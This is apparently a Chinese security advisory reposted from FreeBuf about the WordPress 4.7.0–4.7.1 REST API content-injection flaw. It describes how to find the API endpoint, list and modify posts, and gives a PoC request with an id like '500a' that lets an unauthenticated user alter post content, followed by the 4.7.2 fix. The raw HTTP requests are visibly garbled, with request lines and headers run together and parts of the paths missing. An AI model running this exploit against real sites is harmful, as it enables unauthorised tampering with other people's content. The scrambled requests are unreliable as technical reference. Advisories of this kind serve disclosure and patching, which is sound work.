本文原創(chuàng)作者:漏洞盒子
來源:FreeBuf.COM
WordPress最近曝出內(nèi)容注入漏洞,影響到REST API——來自Sucuri的安全研究人員最先發(fā)現(xiàn)該漏洞。未經(jīng)授權(quán)的攻擊者利用該漏洞可注入惡意內(nèi)容,以及進行提權(quán),對文章、頁面等內(nèi)容進行修改。REST API是最近添加到WordPress 4.7.0并默認啟用的。
鑒于WordPress使用的廣泛性,該漏洞的影響還是比較大的。使用 WordPress REST API 是簡便高效的通過 JSON 格式傳輸數(shù)據(jù)訪問或控制 WordPress 站點內(nèi)容的方法。API 提供了對用戶、文章、分類等不同功能的控制,也可以通過 API 檢索或修改文章。Wordpress REST API 插件在 4.70 集成到 WordPress 中,由于權(quán)限控制失效導致內(nèi)容注入或修改。WordPress開發(fā)團隊已經(jīng)與Sucuri配合在最新的4.7.2版本中修復了該漏洞。
漏洞名稱:
WordPress REST API 內(nèi)容注入/權(quán)限提升
影響版本:
4.7.0 – 4.7.1
漏洞詳情:
WordPress 在 4.7.0 版本后集成了原 REST API 插件的功能
Permalinks設(shè)置為非Plain模式
使用 WordPress 程序的網(wǎng)站首頁上會有:
<link rel="https://api.w.org/" href="http://www.xxx.com/wp-json/">
API 地址則為:http://www.xxx.com/wp-json/
查看文章列表
GET /index.php1.1
wp posts HTTP/Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Length: 4
根據(jù)文章列表可以找到對應(yīng)的id
檢索文章
GET /index.php500 HTTP/1.1
wp posts/Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Length: 4
修改文章
POST /index.php500?id=500 HTTP/1.1
wp posts/Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{“title”:“x x x x”}
如果返回 401 則無權(quán)限修改
詳細的 API 使用方法見:http://v2.wp-api.org/
漏洞PoC:
POST /index.php500?id=500a HTTP/1.1
wp posts/Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{“title”:“xxxx”}
返回 200 修改成功
修復方案:
升級到 4.7.2
參考來源:
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
原文地址:http://www.freebuf.com/vuls/126120.html